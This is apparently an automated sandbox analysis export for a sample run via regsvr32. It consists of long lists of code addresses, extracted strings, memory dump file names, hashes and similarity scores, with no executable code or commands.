0x00417800
0x00417808
0x0041780a
0x00417939
0x00417939
0x0041793d
0x00417940
0x00417943
0x00417960
0x00417963
0x00417966
0x00417945
0x00417945
0x00417949
0x0041794b
0x0041794d
0x00000000
0x0041794f
0x00417951
0x00417957
0x0041795a
0x0041795a
0x0041794d
0x0041796d
0x00417972
0x00000000
0x00417978
0x00417978
0x00417978
0x0041797a
0x0041797e
0x0041797e
0x00417982
0x00417984
0x00417987
0x0041798c
0x00000000
0x00000000
0x00000000
0x0041798c
0x0041797e
0x00417972
0x00000000
0x00417933
0x0041782e
0x00000000
0x00417a0a
0x0041797e
0x0041757f
0x0041732a
0x0041732a
0x0041732d
0x00417330
0x00417333
0x0041733a
0x0041733b
0x0041733c
0x0041733d
0x0041733f
0x00417341
0x00417343
0x00417345
0x00418770
0x00418783
0x0041878b
0x0041878f
0x00418792
0x00418795
0x004187a0
0x004187a3
0x004187a7
0x004187aa
0x004187b1
0x004187b6
0x004187b9
0x004187c0
0x004187c2
0x004187c5
0x004187cb
0x004187d3
0x004187d3
0x004187cb
0x004187e1
0x004187e8
0x004187eb
0x004187ef
0x004187f2
0x004187f9
0x004187fe
0x00418801
0x00418808
0x0041880a
0x0041880d
0x00418813
0x0041881b
0x0041881b
0x00418813
0x00418836
0x00418839
0x0041883c
0x00418841
0x00418846
0x0041884c
0x00418852
0x00418865
0x0041885d
0x0041885d
0x0041885d
0x0041886b
0x00418872
0x00418872
0x0041887a
0x00418880
0x00418886
0x0041888c
0x0041889f
0x00418897
0x00418897
0x00418897
0x004188a5
0x004188ac
0x004188ac
0x004188b2
0x004188b5
0x004188bf
0x004188c1
0x004188c7
0x004188fa
0x004188fa
0x004188c9
0x004188cd
0x004188d3
0x004188e6
0x004188de
0x004188de
0x004188de
0x004188e9
0x004188f2
0x00000000
0x004188f4
0x004188f4
0x004188f4
0x004188f2
0x00418901
0x00418901
0x00418905
0x0041890d
0x00418939
0x0041893d
0x00418940
0x00418942
0x00418946
0x00418949
0x0041894c
0x00000000
0x0041894e
0x0041894e
0x00418952
0x00418955
0x00418958
0x00418974
0x00418977
0x0041895a
0x0041895a
0x0041895e
0x00418960
0x00418962
0x00000000
0x00000000
0x00000000
0x00000000
0x00418962
0x00000000
0x00418958
0x00000000
0x0041894c
0x0041890f
0x0041890f
0x00418913
0x00418919
0x00418988
0x00418988
0x0041898f
0x0041891b
0x0041891b
0x0041891f
0x00418925
0x00418931
0x00418934
0x00418927
0x00418927
0x0041892b
0x0041892f
0x00418964
0x00418966
0x0041896c
0x0041896f
0x00000000
0x00000000
0x00000000
0x0041892f
0x0041897a
0x00418982
0x00000000
0x00418984
0x00418984
0x00418984
0x00418982
0x00418991
0x00418991
0x00418995
0x00418995
0x0041890d
0x00418998
0x0041899e
0x004189a1
0x004189a6
0x004189ab
0x004189b1
0x004189b7
0x004189ca
0x004189c2
0x004189c2
0x004189c2
0x004189d0
0x004189d7
0x004189d7
0x004189db
0x004189df
0x004189e5
0x004189eb
0x004189f1
0x00418a01
0x00418a04
0x004189fc
0x004189fc
0x004189fc
0x00418a0a
0x00418a11
0x00418a11
0x00418a17
0x00418bed
0x00418bed
0x00418a1d
0x00418a21
0x00418a23
0x00418a29
0x00418a5c
0x00418a5c
0x00418a2b
0x00418a2f
0x00418a35
0x00418a45
0x00418a48
0x00418a40
0x00418a40
0x00418a40
0x00418a4b
0x00418a54
0x00000000
0x00418a56
0x00418a56
0x00418a56
0x00418a54
0x00418a63
0x00418a63
0x00418a6f
0x00000000
0x00418a75
0x00418a75
0x00418a7b
0x00418ad9
0x00418ad9
0x00418ae0
0x00000000
0x00418a7d
0x00418a7d
0x00418a81
0x00418a87
0x00418aa3
0x00418aa6
0x00418a89
0x00418a89
0x00418a8d
0x00418a91
0x00000000
0x00418a93
0x00418a95
0x00418a9b
0x00418a9e
0x00418a9e
0x00418a91
0x00418ab1
0x00000000
0x00418ab3
0x00418ab3
0x00418ab6
0x00418abd
0x00418ae4
0x00418ae4
0x00418abf
0x00418ac3
0x00418ac9
0x00418aeb
0x00418ad4
0x00418ad4
0x00418ad4
0x00418af1
0x00418af8
0x00418af8
0x00418abd
0x00418ab1
0x00418afc
0x00418b00
0x00418b06
0x00418b38
0x00418b38
0x00418b08
0x00418b0c
0x00418b12
0x00418b22
0x00418b25
0x00418b1d
0x00418b1d
0x00418b1d
0x00418b28
0x00418b33
0x00418b33
0x00418b3a
0x00418b3f
0x00418b49
0x00418b4b
0x00418b51
0x00418b84
0x00418b84
0x00418b53
0x00418b57
0x00418b5d
0x00418b6d
0x00418b70
0x00418b68
0x00418b68
0x00418b68
0x00418b73
0x00418b7c
0x00000000
0x00418b7e
0x00418b7e
0x00418b7e
0x00418b7c
0x00418b8b
0x00418b8b
0x00418b8f
0x00418b97
0x00418b9f
0x00418ba5
0x00418be1
0x00418be1
0x00418be8
0x00418ba7
0x00418ba7
0x00418bab
0x00418bb1
0x00418bcd
0x00418bcd
0x00418bd0
0x00418bb3
0x00418bb3
0x00418bb7
0x00418bbb
0x00000000
0x00418bbd
0x00418bbf
0x00418bc5
0x00418bc8
0x00418bc8
0x00418bbb
0x00418bdb
0x00000000
0x00418bdd
0x00418bdd
0x00418bdd
0x00418bdb
0x00418bea
0x00000000
0x00418bea
0x00418b97
0x00418b3f
0x00418a6f
0x00418bef
0x00418bf6
0x00418c03
0x00418c08
0x00418c0c
0x00418c10
0x00418c3b
0x00418c3e
0x00418c41
0x00418c45
0x00418d01
0x00418d01
0x00418d04
0x00418d07
0x00418d0c
0x00000000
0x00000000
0x00418d12
0x00418d15
0x00418d18
0x00418d30
0x00418d33
0x00418d1a
0x00418d1e
0x00418d21
0x00000000
0x00418d23
0x00418d23
0x00418d23
0x00418d21
0x00418d39
0x00418d3b
0x00418d40
0x00418d40
0x00418d44
0x00418d48
0x00418d4b
0x00418d4e
0x00418dc0
0x00418dc2
0x00418dc4
0x00000000
0x00000000
0x00418dc6
0x00418d50
0x00418d54
0x00418d57
0x00418d5a
0x00418d70
0x00418d73
0x00418d5c
0x00418d60
0x00418d63
0x00000000
0x00418d65
0x00418d65
0x00418d65
0x00418d63
0x00418d7b
0x00418d81
0x00418d86
0x00418d8c
0x00418d8c
0x00418d90
0x00418d92
0x00418d95
0x00418d98
0x00418de0
0x00418de0
0x00418d9a
0x00418d9e
0x00418da1
0x00418da4
0x00418dc8
0x00418dcb
0x00418da6
0x00418daa
0x00418dad
0x00000000
0x00418daf
0x00418daf
0x00418daf
0x00418dad
0x00418dd1
0x00418dd7
0x00000000
0x00418dd9
0x00418dd9
0x00418dd9
0x00418dd7
0x00418de7
0x00418de7
0x00418deb
0x00418def
0x00418df2
0x00418e00
0x00418e00
0x00418e04
0x00418e08
0x00418e0b
0x00000000
0x00000000
0x00418e11
0x00418e14
0x00000000
0x00418e16
0x00000000
0x00418e16
0x00000000
0x00418e14
0x00418c57
0x00418c5a
0x00418c5e
0x00418c64
0x00418c68
0x00418c70
0x00418c73
0x00418c80
0x00418c8a
0x00418c8e
0x00418c93
0x00418c97
0x00418c97
0x00418c75
0x00418c75
0x00418c78
0x00000000
0x00418c7a
0x00418c7a
0x00418c7a
0x00418c78
0x00418c6a
0x00418c6a
0x00418c6a
0x00418c9a
0x00418c9d
0x00418ca0
0x00418cf0
0x00418cf0
0x00418cf7
0x00418ca2
0x00418ca2
0x00418ca6
0x00418ca9
0x00418cac
0x00418cd0
0x00418cd3
0x00418cae
0x00418cae
0x00418cb2
0x00418cb4
0x00418cb6
0x00000000
0x00418cb8
0x00418cba
0x00418cc0
0x00418cc3
0x00418cc3
0x00418cb6
0x00418cd9
0x00418cde
0x00000000
0x00418ce0
0x00418ce0
0x00418ce0
0x00418cde
0x00418cf9
0x00418cfe
0x00000000
0x00418cfe
0x00418c5e
0x00418d86
0x00418e1b
0x00418e22
0x00418e25
0x00418e28
0x00418e2c
0x00000000
0x00000000
0x00000000
0x00418e2c
0x00418c16
0x00418c16
0x00418c1e
0x00418c22
0x00418f08
0x00418f08
0x00418f0a
0x00418c28
0x00418c28
0x00418c2f
0x00418c32
0x00418c32
0x00418f0e
0x00418f12
0x00418f16
0x00418f1c
0x00418f23
0x00418f27
0x00418f2e
0x004190b9
0x004190b9
0x004190bc
0x004190c1
0x004190c6
0x004190cc
0x004190d2
0x004190f3
0x004190dd
0x004190dd
0x004190dd
0x004190f6
0x004190f9
0x00419100
0x00419100
0x00419104
0x00419108
0x0041910e
0x00419114
0x0041911a
0x00419130
0x00419133
0x00419125
0x00419125
0x00419125
0x00419136
0x00419139
0x00419140
0x00419140
0x00419146
0x00000000
0x00000000
0x00419150
0x00419152
0x00419158
0x00419190
0x00419190
0x0041915a
0x0041915e
0x00419164
0x00419174
0x00419177
0x0041916f
0x0041916f
0x0041916f
0x0041917a
0x00419183
0x00000000
0x00419185
0x00419185
0x00419185
0x00419183
0x00419197
0x00419197
0x0041919b
0x0041919f
0x004191a3
0x004191b0
0x004191b0
0x004191b4
0x004191bb
0x00000000
0x00000000
0x004191c4
0x00000000
0x00000000
0x004191c6
0x00000000
0x004191c4
0x00418f67
0x00418f6e
0x00418f90
0x00418f99
0x00418f9d
0x00418fa2
0x00000000
0x00418fa8
0x00418fa8
0x00418fad
0x00000000
0x00418fb3
0x00418fb3
0x00418fb7
0x00000000
0x00418fbd
0x00418fbd
0x00418fc1
0x00418fc5
0x00419ca5
0x00419caa
0x00419d1d
0x00419d20
0x00419d24
0x00419d28
0x00419d2a
0x00419d31
0x00419d37
0x00419d39
0x00419d39
0x00419d3d
0x00419d3d
0x00419d42
0x00419d46
0x00419d4a
0x00419d4c
0x00419d50
0x00419d53
0x00419d59
0x00419d5b
0x00419d5b
0x00419d5f
0x00419d5f
0x00419d67
0x00419d6c
0x00419d70
0x00419d73
0x00419d75
0x00419d75
0x00419d75
0x00419d80
0x00419d85
0x00418fcb
0x00418fcb
0x00418fce
0x00418fd8
0x00418fdd
0x00418fdf
0x00418fe5
0x00418fee
0x00418ff2
0x00418ff6
0x00418fff
0x00419003
0x00419007
0x00419007
0x0041900c
0x00000000
0x0041900c
0x00418fc5
0x00418fb7
0x00418fad
0x00418f70
0x00418f74
0x00419020
0x00419023
0x0041902f
0x00419039
0x0041903d
0x00419042
0x00419046
0x00419046
0x00419025
0x00419025
0x00419028
0x00000000
0x0041902a
0x0041902a
0x0041902a
0x00419028
0x00418f7a
0x00418f7a
0x00418f7a
0x00419052
0x00419056
0x0041905c
0x00419062
0x00419064
0x00419066
0x00419066
0x0041906a
0x0041906a
0x00419070
0x00418f40
0x00418f40
0x00418f47
0x00418f49
0x00419076
0x00419076
0x0041907a
0x00419080
0x004190a0
0x004190a3
0x00419082
0x00419082
0x00419086
0x0041908a
0x00000000
0x0041908c
0x0041908e
0x00419090
0x00419094
0x00419097
0x00419097
0x0041908a
0x004190ae
0x00000000
0x004190b4
0x004190b4
0x004190b6
0x004190b6
0x004190ae
0x00000000
0x00419070
0x00000000
0x00418f6e
0x004191cb
0x004191ce
0x0041924d
0x0041924d
0x00000000
0x004191d4
0x004191d4
0x004191dd
0x004191e1
0x004191e5
0x004191e7
0x004191ea
0x004191ed
0x004191f0
0x004191f0
0x004191f4
0x0041924f
0x0041924f
0x004191f6
0x004191f6
0x004191f8
0x004191f8
0x004191fb
0x00000000
0x004191fd
0x004191fd
0x00419201
0x00419205
0x0041920a
0x00419210
0x00419210
0x00419213
0x00419216
0x00000000
0x00000000
0x00419218
0x0041921c
0x00419222
0x00419230
0x00419232
0x00000000
0x00000000
0x00000000
0x00000000
0x00419224
0x00419224
0x00419226
0x00419238
0x00419238
0x0041923b
0x0041923f
0x00419241
0x00419241
0x00419241
0x00419244
0x00419247
0x00000000
0x00000000
0x00000000
0x00000000
0x00419228
0x00419745
0x00419745
0x00419745
0x00419226
0x00000000
0x00419222
0x00419249
0x00419249
0x004191fb
0x004191f4
0x00419253
0x00419253
0x00419257
0x0041925b
0x0041925f
0x00419261
0x00419268
0x0041926e
0x00419270
0x00419270
0x00419274
0x00419274
0x00419279
0x0041927c
0x00419280
0x00418e2e
0x00418e2e
0x00418e31
0x00418e33
0x00418e37
0x00418e3a
0x00418e3a
0x00418e3d
0x00418e3d
0x00000000
0x00419286
0x00418e41
0x00418e41
0x00418e44
0x00418e46
0x00418e49
0x00418e4e
0x00418e51
0x00418e57
0x00418e5a
0x00418e5d
0x00418e6d
0x00418e70
0x00418e73
0x00418e5f
0x00418e63
0x00418e66
0x00000000
0x00418e68
0x00418e68
0x00418e68
0x00418e66
0x00418e76
0x00418e79
0x00418e7b
0x00418e80
0x00418e80
0x00418e80
0x00418e88
0x00418e8b
0x00418e8e
0x00418e94
0x00418e97
0x00418e9a
0x00418eaa
0x00418ead
0x00418eb0
0x00418e9c
0x00418ea0
0x00418ea3
0x00000000
0x00418ea5
0x00418ea5
0x00418ea5
0x00418ea3
0x00418eb3
0x00418eb6
0x00418eb8
0x00418ebd
0x00418ebd
0x00418ebd
0x00418ec1
0x00418ec3
0x00419303
0x00419303
0x00419306
0x00000000
0x0041930c
0x00418ec9
0x00418ec9
0x00418ecd
0x00418ed1
0x00418ed7
0x00418eda
0x00418edd
0x004192a2
0x004192a2
0x00418ee3
0x00418ee7
0x00418eea
0x00418eed
0x0041928b
0x0041928e
0x00418ef3
0x00418ef7
0x00418efa
0x00000000
0x00418f00
0x00418f00
0x00418f00
0x00418efa
0x00419294
0x0041929a
0x00000000
0x0041929c
0x0041929c
0x0041929c
0x0041929a
0x004192a9
0x004192a9
0x004192b1
0x004192b7
0x004192ba
0x004192bd
0x00419300
0x00000000
0x004192bf
0x004192bf
0x004192cd
0x004192cf
0x004192d2
0x004192d5
0x004192d8
0x00419325
0x00419325
0x0041932c
0x004192da
0x004192da
0x004192de
0x004192e1
0x004192e4
0x0041930e
0x00419311
0x00419314
0x004192e6
0x004192e6
0x004192ea
0x004192ec
0x004192ee
0x00000000
0x004192f0
0x004192f2
0x004192f8
0x004192fb
0x004192fb
0x004192ee
0x0041931a
0x0041931f
0x00000000
0x00419321
0x00419321
0x00419321
0x0041931f
0x0041932e
0x00419332
0x00419335
0x00419338
0x0041934b
0x0041934b
0x0041934b
0x0041934e
0x00419350
0x00419353
0x00419358
0x00000000
0x00000000
0x0041935e
0x00419361
0x00419364
0x00419380
0x00419383
0x00419366
0x0041936a
0x0041936d
0x00000000
0x0041936f
0x0041936f
0x0041936f
0x0041936d
0x00419386
0x00419389
0x0041938b
0x00419390
0x00419390
0x00419394
0x00419398
0x0041939b
0x0041939e
0x004193a4
0x004193a7
0x004193aa
0x004193c0
0x004193c3
0x004193ac
0x004193b0
0x004193b3
0x00000000
0x004193b5
0x004193b5
0x004193b5
0x004193b3
0x004193c6
0x004193c9
0x004193cb
0x004193d0
0x004193d0
0x004193d0
0x004193d4
0x004193d6
0x004193dc
0x004193e0
0x004193e2
0x004193e5
0x004193e8
0x00419420
0x00419420
0x004193ea
0x004193ee
0x004193f1
0x004193f4
0x00419404
0x00419407
0x004193f6
0x004193fa
0x004193fd
0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00418c10
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821, 00418C80, 0041902F, 004194DA, 00419ADA
0123456789-+Ee, xrefs: 004173CF, 00417610, 004178F1, 00417E7D, 00418522
string too long, xrefs: 0041868B, 00419C9E

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789-+Ee$0123456789ABCDEFabcdef-+XxPp$string too long
API String ID: 0-100731740
Opcode ID: 11f5b11e128885c4b078ee077b15874e0ffcd2d8948d17bd1ce3e682d19a52a8
Instruction ID: c389efc88532eb1ea15785cba7c192fb113012d1c8229fa2120958b8ba8a7f52
Opcode Fuzzy Hash: 11f5b11e128885c4b078ee077b15874e0ffcd2d8948d17bd1ce3e682d19a52a8
Instruction Fuzzy Hash: EB435876205A948AEB118F2AC0503BE37A1FB44F88F699427DE4E47794DB3DC8C6D358

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F8C4 Relevance: 6.6, Strings: 5, Instructions: 393COMMON

Download Yara Rule

Strings

X2D7, xrefs: 000000018000F947
Wlw, xrefs: 000000018000FD4C
G]W2, xrefs: 000000018000FE0A
n, xrefs: 000000018000FAEB
Uf, xrefs: 000000018000FDA2

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G]W2$Uf$Wlw$X2D7$n
API String ID: 0-182303197
Opcode ID: 5ce9af85c0101b92db01bf743a5277ddb3699d4210e4094ad3775c6a215530db
Instruction ID: 28251a0a0e7d95ab687d4ba52eebb4bbbb1def38b9930eff17c64f984c65fe5b
Opcode Fuzzy Hash: 5ce9af85c0101b92db01bf743a5277ddb3699d4210e4094ad3775c6a215530db
Instruction Fuzzy Hash: A3122770904709EFDB98DF68C08A69EBBF1FB08344F40816DE84AAB390D774DA18CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015384 Relevance: 6.6, Strings: 5, Instructions: 313COMMON

Download Yara Rule

Strings

M/uB, xrefs: 0000000180015729
~~K, xrefs: 0000000180015842
GK, xrefs: 0000000180015653
Bt$, xrefs: 0000000180015461
Q|-, xrefs: 000000018001580C

